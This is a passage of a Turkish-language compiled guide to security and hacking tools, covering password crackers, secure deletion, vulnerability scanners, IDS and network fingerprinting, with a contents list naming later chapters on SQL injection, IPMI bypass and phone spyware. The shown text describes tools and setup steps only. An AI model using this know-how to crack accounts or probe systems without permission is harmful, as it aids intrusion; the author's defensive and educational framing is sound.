30.11.2014 Views

bilgisayar_korumasi_v2

bilgisayar_korumasi_v2

bilgisayar_korumasi_v2

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

BİLGİSAYARINIZI KORUMAK İÇİN<br />

GEREKEN YAZILIMLAR<br />

DERLEME<br />

2013<br />

(Ekler 2014 Mart)<br />

Ergün Aydalga


ÖNSÖZ<br />

Aslında kitabın adına “hack” ya da “saldırı” mı demeli yoksa “koruma” mı<br />

bilemedim. Çünkü <strong>bilgisayar</strong>cı açısından her ikisi de aynı şey. Biri yasal ve izin<br />

alınarak yapılan işlemler, diğer yasa dışı... İstenmeden başkasının ortamına girip<br />

dolaşmak, onun verilerini, bilgilerini kurcalamak, hatta silmek... Gizlice....<br />

Burada anlatılan yazılımların çoğu Linux dağıtımlarında vardır. Ubuntu, Fedora gibi<br />

Linux dağıtımlarında bulunurlar ve ücretsiz indirilip kurulabilirler. Bazılarının<br />

Windows seçenekleri de vardır. Windows altında çalışanlar ilgili Windows<br />

sürümleriyle birlikte anlatılacaktır. Yalnız Windows ortamında çalışan yazılımlardan<br />

da söz ettim.<br />

Burada derlediğim programları daha çok paylaşıma açık, açık kaynak kodları olan<br />

ve “freeware” ya da GPL lisansı altında yayınlananlar arasından seçtim. İsteyen<br />

her zaman kaynak kodlara bakabilir, gerek duyduğunda değişiklik yapabilir diy<br />

düşündüm.<br />

Bu ürünlerin anlatımlarını kendi Web sitelerinde yazılanlardan aldım. Bir kısmını<br />

kullanırken anladıklarımı yazarak, diğer kısmını var olan sayfaları Türkçe anladığım<br />

biçimiyle yorumlayarak buraya aldım. Çok kullanılan programlardan bazılarında<br />

kullanıcı el kitapları vardı. Onları da anlaşılır biçimde buraya almaya çalıştım.<br />

Programları derlerken yaptıkları işlere göre sınıflara bölmeye çalıştım.<br />

BÖLÜM 1<br />

İlk bölümde şifreler, sorunlu dosyalar (sızanın bıraktığı gibi) ve silinen dosyalar için<br />

kullanılan programları anlattım.<br />

BÖLÜM 2<br />

İkinci bölümde ağ inceleme ve tarama programlarına önem verdim. Yerel ağ,<br />

uzaktaki ağlar, erişilen sunucular, ağ topoğrafyasının çıkarılması gibi bilgileri<br />

anlatmaya çalıştım. Aslında programların yaptıklarını anlatırken, ağa sızan birisi<br />

gibi sunucuları nasıl bulup yorumlayacağımı gördüm. Hatta bu programların<br />

çoğunu kendi <strong>bilgisayar</strong>ıma kurup kendi ağ ortamımda çalışmalarını<br />

değerlendirdim.<br />

BÖLÜM 3<br />

Üçüncü bölümde SQL veri tabanlarının kırılma noktalarını, nasıl içine sızılıp ek<br />

komut girileceğini gösteren programlara ayırdım. Hemen her ortamda bir yolunu<br />

bulup sızan bu programların veri tabanı üreticisine bakmaksızın nasıl ekleme<br />

yapabildiklerini hayretle izledim.


Bölüm 4<br />

Bu bölüme ağı koklayan ve paketleri yakalayan programları yerleştirdim. En<br />

önemlilerinden olan Kismet ve Wireshark bu bölümde incelediğim programlardır.<br />

Kismet yalnız kablosuz ağlar için yazılmış, Wireshark adı üzerinde kablolu ağlar<br />

için yazılmış gibi gözükse de Wireshark kablosuz ağlarda da kullanılmaktadır.<br />

Wireshark Windows sürümü sık kullanılan bir programdır. Kismet'e oranlar<br />

wireshark yalnız izlemede kalır.<br />

Bölüm 5<br />

BU bölümde ele alınan kırma araçları, çeşitli programlarda kullanılan şifre kırma<br />

araçlarıdır. Şifrenizi unutmuşsanız sizin için yararlı programlardır. Ama başkasının<br />

şifresini kırıyorsanız suç işliyorsunuzdur.<br />

Bölüm 6<br />

IPMI/BMC ile ilgili sorunu ayrı bir başlık altında incelemek istedim. Ana kart<br />

üzerinde IPMI varsa ve <strong>bilgisayar</strong>ınız elektriğe takılıysa, her an biri “hack”<br />

edebilirmiş. Açık olması, işletim sisteminin çalışması gerekmezmiş. Bazen<br />

<strong>bilgisayar</strong>ların ethernet kartlarından bağlantıyı gösteren ışığın (yeşil ve sarı ışık)<br />

göz kırptığını görünce hattaki paketler derdim, halbuki ana kartta bulunan IPMI<br />

iletişime geçiyormuş...<br />

Bir ağda akan bilginin tutulması (yakalanması) işlemine forensics (adli bilişim)<br />

adı verilir. Bu konuda iş yapan bir çok yazılım vardır. İlgilenenler<br />

http://www.forensicswiki.org/wiki/Network_forensics sayfasından bu yazılımların<br />

tablosuna bakabilirler. Tabloyu incelediğinizde benim derlediğim yazılımların da bu<br />

tabloda olduğunu görebilirsiniz.<br />

2014 yılında “Saldırgan Korunma” yeni bir boyut kazandı. Kali Linux işletim sistemi<br />

( http://www.kali.org/ ) 300'den çok sızıntı deneme ve güvenlik denetimi<br />

programıyla ağ korunmasını öne çıkaran bir kavramla kullanıma sunuldu. Aslında<br />

“Backtrack” yaratıcılarınca yapılan kali-linux, bir çok “harcker” için de kullanışlı bir<br />

ortam olabilir. Bu bölümde (Bölüm 7) saldırgan savunma ya da korunma konularını<br />

işlemeye çalışacağım.<br />

2014 yılı akıllı mobil cihazlarda sızıntı, izleme ve dinleme yönlü bir çok olayla da<br />

gündeme geldiğinden Bölüm 8'de bu konuda toplayabildiklerimi derlemeye<br />

çalışacağım.<br />

Ergün Aydalga


İÇİNDEKİLER<br />

BÖLÜM 1<br />

ŞİFRE KIRMA, SORUNLU DOSYALARI ARAMA, DOSYA SİLME PROGRAMLARI<br />

CHKROOTKIT 8<br />

BÖLÜM 2<br />

BÖLÜM 3<br />

ERASER 8<br />

JOHN THE RIPPER 8<br />

CAIN & ABEL 9<br />

LCP ve SID&User 9<br />

AĞ İNCELEME/TARAMA PROGRAMLARI<br />

NESSUS 11<br />

ARGUS 14<br />

SNORT 17<br />

BRO 17<br />

NETFLOW 17<br />

NMAP 17<br />

p0f 18<br />

YERSINIA 19<br />

NETSTUMBER 20<br />

SQL EKLEMEK İÇİN KULLANILAN PROGRAMLAR<br />

SQLNINJA 22<br />

SQL POİZON 23<br />

HAVIJ 1.15 PRO SQL EKLEME 26<br />

BÖLÜM4<br />

SNIFFER (KOKLAYANLAR)<br />

KISMET 32<br />

WIRESHARK 33<br />

METASPLOIT 33<br />

DİĞER HACKER ARAÇLARI<br />

ICRACK (Şifre kırıcı) 33<br />

bobokit 33<br />

woot-project 33<br />

Diğer Bağlantılar<br />

InfoSysSec.org: Nasıl hack edilir. 34<br />

Ağ işgali ve hacking 34


hping 34<br />

hping2 34<br />

BÖLÜM 5<br />

KIRMA ARAÇLARI<br />

pdfcrack 35<br />

Hydra 35<br />

BÖLÜM6<br />

ÖNEMLİ BİR GÜVENLİK SORUNU IPMI/BMC<br />

IPMI 37<br />

KAPANMIŞ SUNUCULARI BİLE HACK EDEBİLİRSİNİZ 37<br />

Sunucu Yönetim Sistemindeki Hacker delikleri<br />

Neredeyse fiziksel erişime kucak açar (Hacker<br />

Holes in Server Management System Allow<br />

‘Almost-Physical’ Access) 39<br />

IPMI ve BMC'lere Sızma Denemeleri El Kitabı<br />

(A Penetration Tester's Guide to IPMI and BMC's)<br />

Giriş 40<br />

BMC ve IPMI Protokolü 40<br />

Yüksek Değerdeki Hedefler 41<br />

Ağ Hizmetleri 41<br />

Supermicro IPMI (firmware SMT_X9_218) 42<br />

Ağ Keşfi 42<br />

Kullanıcı adı ve Şifreler 43<br />

Kırılganlığı Çıkartma 43<br />

IPMI Şifre Denetimini Chiper 0 ile geçmek 43<br />

IPMI 2.0 RAKP Şifre Denetimi Uzaktan<br />

Karışık Şifre Alma 45<br />

IPMI Anonymous (Adsız) Şifre Denetimi 48<br />

Supermicro IPMI UPnP Kırılganlığı 48<br />

Supermicro IPMI Açık Metin Şifreleri 49<br />

BMC'den Sunucuyu açma 50<br />

Sunucudan BMC'ye Erişmek 50<br />

Özet 51


FreeIPMI<br />

Proje Araçları 52<br />

Proje Kitaplıkları 55<br />

BÖLÜM 7<br />

SALDIRGAN KORUNMA (KALI LINUX)<br />

Kali Linux ile sızma denemeleri: 56<br />

Metasploit sınırlamalarını kaldırma: 56<br />

Kablosuz saldırlar: 56<br />

Çevreyi kırmak/delmek 56<br />

Gelişmiş Windows gediklerinden yararlanma 57<br />

Gelişmiş Web saldırıları 57<br />

GİRİŞ 57<br />

Kali Linux Kullanılabilir mi 58<br />

KALİ İNDİRME 59<br />

Canlı Kali ISO dosyası üretmek 60<br />

Kişiselleştirilmiş Kali Linux yapma<br />

Güncel Kali ISO yaratma 61<br />

Kali Masaüstünü değiştirme 61<br />

Kali Linux Genel Kullanımı<br />

Kali Linux kaynak kod depoları 62<br />

NVIDIA Sürücüleri kullanma 63<br />

Sanal kutu misafiri olarak Kali 64<br />

Kali ve Windows ikili işletim sistemi 65<br />

BÖLÜM 8<br />

AKILLI TELEFONLARDA DİNLEME<br />

Telefon casus yazılımları 67<br />

Yazılımların telefon gereksinimleri 68<br />

Yazılımlar nasıl çalışır? 68<br />

Casus yazılımı uzaktan yüklemek 69<br />

Yazılım Yükleme 69<br />

Cep Telefonlarını Hackleme 69


EK-1 NMAP KULLANICI KİTABI 70<br />

Ek-2 SQLninja Kullanıcı El Kitabı 110<br />

Ek-3 Kismet 2011-01-R1 Mike Kershaw 145<br />

http://www.kismetwireless.net<br />

Ek-4 bnc config 174<br />

(http://www.gnu.org/software/freeipmi/bmc-config-example.conf)<br />

Ek-5 IPMI 181<br />

HPC çevresinde Sunucu Aralığı Giriş/Çıkışlarını<br />

(Hostrange Input/Output) Kullanma<br />

Ek-6 Wireshark Kullanıcı El Kitabı (User Manual) 193<br />

Ek-7 TELEFON CASUS YAZILIMLARI İNCELEMELERİ 231<br />

Ek-8 AKILLI TELEFON HACKLEME 235


BÖLÜM 1<br />

ŞİFRE KIRMA, SORUNLU DOSYALARI ARAMA,<br />

DOSYA SİLME PROGRAMLARI<br />

CHKROOTKIT:<br />

Bu yazılım trojan / worm / virus dosyası tarar.<br />

Bir izleme programıdır. Sisteme eklenen ya da değiştirilen dosyaları izler. Böylece<br />

hassas alanlarda hangi dosyaların değiştiği belirlenmiş olur. Chkrootkit bazı bilinen<br />

dosyalar, trojan komutları ve worm'lar için sistemi araştırır.<br />

Yeni türleri eklemek için yazılım sürekli güncellenmektedir.<br />

ERASER<br />

Gelişmiş güvenlik aracıdır. Windows ortamlarında kullanılır. Hassas verilerinizin<br />

disk sürücünüzden silinmesini sağlar. Dosyanın üzerine defalarca yazarak<br />

okunamaz hale getirir. Windows XP (Sp 3), Windows Server 2003 (SP 2) Windows<br />

Vista, Windows Server 2008 Windows 7 ve Windows Server 2008 R2 altında çalışır.<br />

Eraser ücretsiz yazılımdır ve GPL lisansı ile dağıtılır (http://eraser.heidi.ie/ adresine<br />

bakınız).<br />

Bir çok insan başkalarıyla paylaşmayacağı bilgileri <strong>bilgisayar</strong>larında saklarlar.<br />

Şifreler, işle ilgili sınıflandırılmış belgeler, maaş bordroları, finansal kayıtlar, diğer<br />

kişisel bilgiler, resimler ve aşk mektupları (ya da iletileri) ve şiirler gibi...<br />

Bu tür dosyalar silindiğinde, dosyaların üzerine yazmadığınızı düşünürsünüz ama,<br />

silmeyi geri alma programlarıyla herkes dosyaların içindeki verilere kolaylıkla<br />

erişebilir. Çünkü <strong>bilgisayar</strong>da veri silinmez, silinen dosya adının ilk harfidir.<br />

Herhangi bir program da bu bilgiye kolaylıkla erişebilir.<br />

ERASER ÖZELLİKLERİ<br />

Windows sürümleriyle çalışır (eski Windows sürümleri için eski sürüm<br />

gerekir)<br />

Windows ile çalışan her cihazla çalışır.<br />

Dosyaların silinmesi, klasörler ve bunların önceden silinmiş biçimleri için<br />

kullanılır.<br />

ERASER programı ve kullanıcı kitapçığı için http://eraser.heidi.ie/documentation/<br />

adresine bakınız.<br />

JOHN THE RIPPER<br />

Şu anda UNIX ortamlarında kullanılabilen en hızlı şifre kırıcılardandır. DOS, BeOS,<br />

OpenVMS gibi eskiden kullanılan işletim sistemleri için de uygun bir programdır.<br />

http://www.openwall.com/john/ adresinden programı indirebilirsiniz.


CAIN & ABEL<br />

Microsoft İşletim Sisteminde şifre çözme / kurtarma aracıdır. Ağı koklayarak<br />

değişik şifre türlerinin çözülmesinde de kullanılır. Şifreleri sözlük kullanarak, kaba<br />

kuvvet ve kripto çözümleme gibi saldırı teknikleriyle kırar. VoIP (Voice over IP)<br />

konuşmalarını kaydeder, karıştırılmış şifreleri çözer ve kablosuz ağ anahtarlarını<br />

bulur. Yönlendirme protokollerini belirler. Bu kadar çok iş yapan bu program, küçük<br />

bir emekle düzeltilebilecek yazılım kırılımlarını ve varsa yazılım hatalarını aramaz.<br />

Programın amacı, protokol standartlarında bulunan güvenliğin bilinen zayıf<br />

taraflarını kullanarak işlem yapmaktır. Bunların arasında şifreleme teknikleri,<br />

gizleme mekanizmaları vardır. Asıl amaç şifrelerin kolaylıkla çözülmesi /<br />

kurtarılmasıdır.<br />

Can & Abel ağ yöneticilerine, öğretmenlere, güvenlik danışmanlarına, güvenlik<br />

yazılımı hazırlayan üreticilere, profesyonel sistemlere ve ağlara sızma denemeleri<br />

yapanlara hazırlanmış bir programdır.<br />

Program yazarı, yasa dışı kullanmaya çalışanları desteklemez onlara yardımcı<br />

olmaz.<br />

Programın son sürümünü ve ayrıntılı açıklamalarını http://www.oxid.it/cain.html<br />

adresinden sağlayabilirsiniz.<br />

LCP ve SID&User<br />

Programa ait bilgiyi http://www.lcpsoft.com/english/index.htm adresinde<br />

bulabilirsiniz.<br />

LCP programının ana amacı Windows ortamında (NT/2000/XP/2003) kullanıcı<br />

hesabı şifresini denetlemek ve çözmektir. Bu ürünün özellikleri şöyle sıralanabilir:<br />

Dıştan Alınan Hesap Bilgileri<br />

Yerel <strong>bilgisayar</strong>dan<br />

Uzaktaki <strong>bilgisayar</strong>dan<br />

SAM (Sequential Access Method) dosyadan<br />

LC dosyadan<br />

LCS dosyadan<br />

PwDump dosyasından<br />

Sniff dosyasından


Şifre çözme<br />

Sözlük kullanarak saldırı<br />

Kaba kuvvet ve sözlük karışımı kullanarak<br />

Kaba kuvvet saldırısı<br />

Kaba kuvvet oturum dağıtımı<br />

Oturum dağıtımı<br />

Oturum birleştirme<br />

Karıştırma Hesaplaması<br />

LM ve NY şifreyle karıştırma hesaplaması<br />

LM ve NT şifre ve sunucu sorgulamasıyla yanıt hesaplaması<br />

SID&User programı, Windows için (NT/2000/XP/2003) SID ve kullanıcı adını bulup<br />

çıkaran araçtır. Özellikleri:<br />

Bir hesap adı için SID alma<br />

Bir SID ya da SID aralığı için hesap adı alma


BÖLÜM 2<br />

AĞ İNCELEME/TARAMA PROGRAMLARI<br />

NESSUS<br />

Bu programı yalnız kendi sistemleriniz için kullanın. Başka sistemler için<br />

kullandığınızda hakkınızda yasal işlem başlatılabilir.<br />

NMAP gibi bir tarama değildir. NESSUS sisteminizdeki boşlukları tarar ve onları<br />

bulurken sisteminize zarar verebilecek işlemleri yapar. Bu nedenle başkasının<br />

sisteminde kullanınca o sistemlere zarar verebilirsiniz. Kendi sisteminizde<br />

kullanmadan önce yedek almanızı öneririm.<br />

Nessus her konuda eksikleri giderilmiştir ve etkin bir programdır. Sisteminizdeki<br />

servisleri tanımlar ve onları delmeye çalışır. Eğer kırılganlık varsa, “güncelleme”,<br />

“ayarların düzeltilmesi” ve “yamaların nerede bulunacağı” önerisinde bulunur.<br />

Sorunu ayrıntılarıyla anlatarak sisteminizin neden kırılgan olduğunu da söyler. Ek<br />

olarak çıktılarını HTML, ve grafik çizelgelerle de verebilir. HTML sayfalarının<br />

güvenlik raporlarına, güncellemelere ve yamalara bağları da bulunur. Unix, Linux<br />

ve Windows işletim sistemlerini kırılganlık için tarayabilir.<br />

Nessus yazılımı http://Nessus.org sitesinden sağlanabilir.<br />

NESSUS ÇALIŞTIRMA<br />

Nessus kullanıcısı /usr/sbin/nessus-adduser ile sisteme eklenir:<br />

Login admindude<br />

Şifreleme tekniği (cipher/plaintext) [cipher]<br />

admindude bu sistemdeki yerel kullanıcı mıdır [ |n]? y<br />

Yeni şifre:<br />

...<br />

<br />

<br />

/usr/sbin/nessusd ile sunucu yazılımı başlatılır<br />

ya da<br />

/etc/rc.d/init.d/nessusd start kullanarak arka plan programı başlatılır.<br />

Kullanıcı programını başlat:<br />

/usr/bin/nessus<br />

Burada ekrandaki giriş alanları aşağıdaki çizimlerde gösterildiği gibi doldurulur:<br />

Aşağıdaki pencerede önce “login” bilgilerinizi girin ve “login” düğmesine basın.


“localhost” sunucu adı olarak kullanıldığından nessus sunucusunun bulunduğu<br />

sisteme giriş yapılır. Başka bir sistem için sistemin adı ya da IP numarası<br />

girilmelidir.


Eklenebilir yazılımlar aşağıdaki tablodan seçilir:<br />

<br />

<br />

<br />

Eklenebilir yazılımlarda seçim işe uygun olanlar arasından yapılır. Unutmayın<br />

ki “tehlikeli” yazılımlar sisteme zarar verebilir.<br />

“Hedef seçimi” (Target selection) ile incelenecek sunucunun IP numarası<br />

girilir.<br />

Bundan sonra “Taramayı başlat” (Start the scan) seçilir ve beklenir (Bir<br />

<strong>bilgisayar</strong>ı incelemek yaklaşık 15 dakika sürmektedir).


Sol penceredeki kolondan tüm sonuç raporları görülebilir ve istenen HTML<br />

kalıbına çevrilebilir.<br />

Yazılım ayar dosyası: /etc/nessus/nessusd.conf<br />

ARGUS<br />

Ağ denetim kayıtları üretim ve kullanım sistemidir. Argus ağ işlemleri denetimi<br />

üzerine yoğunlaşmıştır. Ayrıca ağ işlemlerinde verim ve güvenliği destekleyen ilk<br />

örnek (prototype) teknolojisini de üretebilir. Eğer ağ paketlerine, sorunu çözmek<br />

için bakarsanız ya da ağda neler olup bittiğini görmek isterseniz Argus'un kullanışlı<br />

bir araç olduğunu görürsünüz. Başka bir amaçla bakınca bir yorum getirmek doğru<br />

olmaz. Ama ağda neler olup bittiğini gören iyi bir yazılımcı, yapmak istediğini<br />

izlediklerinden çıkarabilirse, yeterince tehlikeli olur zaten.<br />

Argus algılayıcıları ağ paketlerini işler (ya canlı paket verilerini ya da daha önce<br />

izlenip saklanmış dosyalardaki verileri) ve ayrıntılı durum raporlarını üretir. Akış<br />

raporlarında daha çok her akışın yapısı incelenir, inceleme sırasında büyük ölçüde<br />

veri indirgemesi yapıldığından, işlemlerin saklanabilmesi olanağı doğar. Özellikle<br />

çok büyük oylumlu ağ verileri kısa bir zamanda incelenebilir. Argus erişebilirlik,


ağlanabilirlik, süre, hız, yükleme ve verim, kayıp, döküntü, yeniden gönderme ve<br />

gecikme metriklerini tüm ağ akışları için sağlar. Paketlerde var olan L2 adresleri,<br />

tünel tanımları (MPLS, GRE, ESP vb.) ve benzeri protokol tanımlarını, SAP'leri,<br />

döngü sayaçlarını, seçenekleri ve L4 taşıyıcı tanımlarını ve benzeri nitelikleri<br />

yakalar. Bu konuda (L2, L4, MPLS, GRE vb.) bilgi edinmek isteyen okuyuculara<br />

önerim http://en.wikipedia.org/wiki/OSI_model adresine bakmalarıdır. Bu sayfanın<br />

Türkçesi için (yeterli olmamakla birlikte) http://tr.wikipedia.org/wiki/OSI_modeli<br />

incelenebilir.<br />

Ağ denetimi pek çok kurumda kullanılır. Bu kurumlar çoğu kez eldeki verilere<br />

dayanarak klasik IDS tabanlı ağ güvenliği oluştururlar. Denetimlerde snort ve/veya<br />

Bro kullanarak, IDS (Intrusion Detection System / Sızıntı Belirleme Sistemi)<br />

teknolojisi benzeri yapay uyarıları ve alarmlar yaratırlar. Amaç; Güvenliği doğru<br />

sağlayıp sağlamadıklarını görmektir. Ağ denetimini argus kullanarak yaparken<br />

sorunun uyarı ve alarmlardan mı geldiğini bulmaya çalışırlar. Pek çok DIY (Do-ityourself)<br />

yüklemelerinde snort, Bro ve argus beraber çalıştırılır. Argus'un ürettiği<br />

denetim raporlarına göre ağ güvenliği düzenlenir.<br />

Argus tarafından üretilen denetim verileri ağ ücretlendirmesi muhasebesinde,<br />

işletim yönetimi ve verimlilikte de sıklıkla kullanılmaktadır.<br />

Aslında IETF IPFIX Çalıştay'ında (Workshop) tanımlanan mimarinin uygulaması<br />

olarak düşünülebilir ama Argus için IPFIX mimarisinin bir üst kümesi demek daha<br />

doğrudur. Argus teknolojisi Cisco Netflow verilerini okuyabilir. Pek çok site argus<br />

ve netflow verilerinin karışımını denetimde kullanabilmektedir.<br />

Argus açık kaynak projesidir ve Mac OSX, Linux, Solaris, FreeBSD, OpenBSD,<br />

NetBSD, AIX, IRIX üzerinde çalışabilmektedir. Windows (Cygwin ve OpenWrt ile)<br />

sürümü de vardır.<br />

Yazılım küçük değişikliklerle UNIX'in diğer türevlerinde de çalışabilir. Internet<br />

işlemlerinin denetiminde gereken verim ve hız, modern hesaplama kaynaklarıyla<br />

sağlanır.<br />

Argus Dökümanı<br />

argus<br />

ağ paketlerinden denetim kayıtları üretir.<br />

argus.conf<br />

argus sistemi ayar dosyasıdır.<br />

Argus veri toplama ve dağıtım sistemi dokumanı<br />

radium<br />

Argus veri toplama, analiz ve dağıtımı<br />

radium.conf<br />

radium ayar dosyası.


Argus ve veri kullanıcıları dokumanı<br />

ra<br />

okunanı filitrele ve argus verilerini yazdır<br />

rarc<br />

ra* programlarının ayar dosyası<br />

rabins<br />

argus verilerini yapısal parçalara böl<br />

racluster<br />

argus verilerini kümeleme<br />

racluster.conf<br />

argus veri kümeleme ayar dosyası<br />

raconvert<br />

ascii akış verilerini argus kalıbına çevirme<br />

racount<br />

argus veri akışında nesneleri işaretle<br />

radump<br />

tcpdump ayıklayıcısıyla kullanıcı verilerini ayıklama<br />

raevent<br />

argus tarafından üretilen olayları okuma<br />

rafilteraddr<br />

Yüksek verimli argus veri eleme<br />

ragraph<br />

rrdtool tabanlı zaman çizelgesi<br />

ragerep<br />

Saklanan veriden kurallı işlemlerle veri arama<br />

rahisto<br />

argus veri metriklerinin frekans analiz verileri<br />

ralabel<br />

dil bilim kuralına uygun uzantı işaretleme<br />

ralabel.conf<br />

dil bilim kuralı ayar dosyası<br />

ranonymize<br />

argus verilerinin anonimleştirilmesi<br />

ranonymize.conf<br />

anonimleştirme ayar dosyası<br />

rapath<br />

argus verilerinden topoloji üretme<br />

rapolicy<br />

Sürekli veri iletişim politikası kontrolü<br />

rasort<br />

Argus verilerini sıralama<br />

rasplit<br />

Argus verilerini yapısal OS tabanlı dosyalara dönüştürme<br />

rasql<br />

Yerel argus verilerini mysql veri tabanından okuma<br />

rasqlinsert<br />

Yerel argus verilerini mysql veri tabanına ekleme ve okuma


astream<br />

Akıcı argus veri bloklarını işleme<br />

rastrip<br />

argus veri işleme ve sıkıştırma<br />

SNORT<br />

UNIX/Linux tabanlı Sızıntı Belirleme Sistemidir (Intrusion Detection System).<br />

Ayrıntılı bilgi http://www.snort.org/ Web sayfasından sağlanabilir. En sık kullanılan<br />

IDS/IPS sistemlerden biridir. Dokümantasyon için http://www.snort.org/docs<br />

sayfasına bakabilirsiniz.<br />

BRO<br />

Ağ güvenliği izleme ekranıdır. http://www.bro.org/ web sayfasından hakkındaki<br />

bilgilere erişilebilir. Burada ele alınmasının en büyük nedeni Argus ile beraber<br />

kullanılabiliyor olmasıdır. Gözlem ve izlemenin yanı sıra istatistiksel incelemelere<br />

de yer vermesi IDS/IPS sistemlerinde sorunu saptamaya yönelik ip uçları vermesini<br />

sağlar.<br />

NETFLOW<br />

Cisco tarafından geliştirilmiştir. IP uygulamaları için bir dizi anahtar servis sağlar.<br />

Bunların arasında ağ trafiği muhasebesi, ağ güvenlik planlaması, Servis red'lerini<br />

izleme becerisi ve ağ izlemesi de vardır. Ağ kullanıcıları ve ağ programları için çok<br />

değerli bilgiler sunar. Cisco'nun ürünü olan Netflow IP trafik açısında lider<br />

yazılımdır (Cisco'nun sayfasından). Ayrıntılı bilgi için<br />

http://www.cisco.com/en/US/products/ps6601/products_ios_protocol_group_home.<br />

html adresine bakın.<br />

NMAP<br />

Ağ inceleme ve denetleme programıdır. Açık kaynak kod kullanır. Pek çok kimse<br />

sistemlerin ayakta kalma sürelerini izlerken, planlamayı düzenlerken, ağda olanları<br />

kaydederken nmap için kullanışlı bir program olduğunu düşünür. NMAP ilkel<br />

mesajlar göndererek ağda hangi sunucuların olduğunu ve her sunucuda hangi tür<br />

servislerin bulunduğunu, hangi tür güvenlik kalkanı kullanıldığını ve daha başka<br />

özellikleri belirler. Nmap hemen her tür işletim sisteminde çalışabilir. Linux<br />

dağıtımlarında bulunur. Nmap sitesinde gelişmiş kullanıcı arayüzü olan zenmap<br />

vardır. Ncat, Ndiff ve Nping gibi hazır komutları bulunur.<br />

Nmap<br />

Esnektir. Güvenlik kalkanlarıyla, eleklerle donatılmış ağlarda bile<br />

kullanılabilen bir yapısı vardır.<br />

Güçlüdür. Nmap yüz binlerce <strong>bilgisayar</strong>ı arayabilecek biçimde hazırlanmıştır.


Taşınabilir. Bir çok işletim sisteminde çalışır. Linux, Microsoft Windows,<br />

FreeBSD, OpenBSD, Solaris, IRIX, Mac OS X, HP-UX, NetBSD, Sun OS, Amiga<br />

gibi<br />

Kolaydır. Çok kolaylıkla “nmap -v -A targethost” yazarak başlatabilirsiniz.<br />

Birçok parametreyle de kullanılabilmektedir.<br />

Dokümanları kullanışlı ve çoktur.<br />

Üretici tarafından desteklenmektedir. Sorun olduğunda her zaman cevap<br />

verecek birileri vardır.<br />

Beğenilmektedir. Bir çok başarı ödülü almıştır.<br />

Herkesin bildiği bir uygulamadır.<br />

Nmap kullanıcı kitabı için Ek-1'de bakınız.<br />

p0f<br />

Bu program, ağ trafiğinin TCP/IP iletişimi arkasındaki sistemleri tanımlamakta<br />

kullanılır. Bunu yaparken çoğu kez SYN kadar kısa bir mesaj kullanır.<br />

Bazı p0f özellikleri şunlardır:<br />

<br />

<br />

<br />

<br />

Çok hızlı bir biçimde karşı sistemde kullanılan işetim sistemini belirler.<br />

Ağ bağlantılarını ve sistemlerin ayakta kalma sürelerini verir.<br />

Bağlantı paylaşımı / NAT (Network Address Translation) bilgilerini verir.<br />

Kullanıcı ya da servisleri belirler (X-mail gibi)<br />

Program hem arka planda hem de terminalden çalıştırılabilir.<br />

Ağa giriş testleri sırasında yapılan keşif genel kullanım biçimidir. Sıradan ağ<br />

izleme, yetkisiz ağ bağlantılarını belirleme, gereksiz koruma araçları hakkında<br />

sinyal üretmek ve diğer özellikleri vardır.<br />

Tipik p0f çıktısı aşağıdaki gibi olabilir:<br />

.-[ 1.2.3.4/1524 -&gt; 4.3.2.1/80 (syn) ]-<br />

|<br />

| client = 1.2.3.4<br />

| os = Windows XP<br />

| dist = 8<br />

| params = none<br />

| raw_sig = 4:120+8:0:1452:65535,0:mss,nop,nop,sok:df,id+:0<br />

|<br />

`----<br />

.-[ 1.2.3.4/1524 -&gt; 4.3.2.1/80 (mtu) ]-<br />

|<br />

| client = 1.2.3.4<br />

| link = DSL<br />

| raw_mtu = 1492<br />

|<br />

`----


.-[ 1.2.3.4/1524 -&gt; 4.3.2.1/80 (uptime) ]-<br />

|<br />

| client = 1.2.3.4<br />

| uptime = 0 days 11 hrs 16 min (modulo 198 days)<br />

| raw_freq = 250.00 Hz<br />

|<br />

|<br />

`----<br />

.-[ 1.2.3.4/1524 -&gt; 4.3.2.1/80 (http request) ]-<br />

|<br />

| client = 1.2.3.4/1524<br />

| app = Firefox 5.x or newer<br />

| lang = English<br />

| params = none<br />

| raw_sig = 1:Host,User-Agent,Accept=[text/html,application/xhtml+xml...<br />

|<br />

`----<br />

p0f özellikle aşağıdaki konularda etkindir:<br />

<br />

<br />

<br />

<br />

TCP SYN (yani kim benim <strong>bilgisayar</strong>ıma bağlanıyor). Çeşitli sistemlerden<br />

gelen imzalar, özellikle eski platformlardan gelenler, ya da NetBSD,<br />

Windows 9x, IRIX, Playstation, Cisco IOS vb. Eğer sisteminizde p0f<br />

çalışıyorsa bu sistemlerin size bağlanması söz konusu olamaz.<br />

TCP SYN+ACK türü imzalar da (Ben kime bağlanıyorum gibi) veri tabanı ile<br />

sınırlıdır, bu nedenle herkese kapı açıktır. Bu tür imzaları toplamak için<br />

“p0f-sendsyn” aracına gerek vardır. Bunu daha sonra karşı sistemde açık<br />

olan bir başka kapıya (kapıya) bağlantı kurarak yanıtlanır (ayrıntılı bilgi için<br />

bakınız: http://lcamtuf.coredump.cx/p0f3/README).<br />

HTTP isteği ile ilgili imzalar özellikle eski tarayıcılar için geçerlidir. MSIE5,<br />

mobil cihazlar ve oyun konsolları, robot toplayıcılar, komut satırından çalışan<br />

araçlar ve bazı kitaplıklar bu gruba girer. Eğer p0f kullanıcı sisteminde varsa<br />

ya da Web sunucuda bulunuyorsa bu tür bilgileri toplayabilirsiniz.<br />

HTTP yanıt imzaları. Burada p0f en küçük veri tabanını kullanarak sinyalleri<br />

gönderilir. Her özel durum için imzalar üç biçimde toplanır: Biri browser,<br />

diğeri curl sonuncusu ise wget olur.<br />

YERSINIA<br />

Değişik ağ protokollerindeki zayıflıkları arayıp bunlardan yarar sağlamak için<br />

yapılmış ve ağ tarama aracıdır. İlgilendiği ağlar için sert bir çerçeve olduğu<br />

savını ileri sürer.<br />

Son sürümde bazı ağ protokolleri programa uyarlanmıştır. Aşağıdaki ağ<br />

protokolleri için saldırılar da uyarlanmıştır (tabi ki sizler yenilerini eklemekte<br />

özgürsünüz)


Spanning Tree Protocol, STP)<br />

Cisco Discovery Protocol (CDP)<br />

Dynamik Trunking Protokol (DTP)<br />

Dynamic Host Configuration Protocol (DHCP)<br />

Hot Standby Router Protocol (HSRP)<br />

IEEE 802.1Q<br />

IEEE 802.1X<br />

Inter-Switch-Link Protocol (ISL)<br />

VLAN Trunking Protocol (VTP)<br />

Ayrıntılı bilgi için http://www.yersinia.net/index.htm adresine bakınız.<br />

NETSTUMBER<br />

Marius Milner tarafından yazılmıştır.<br />

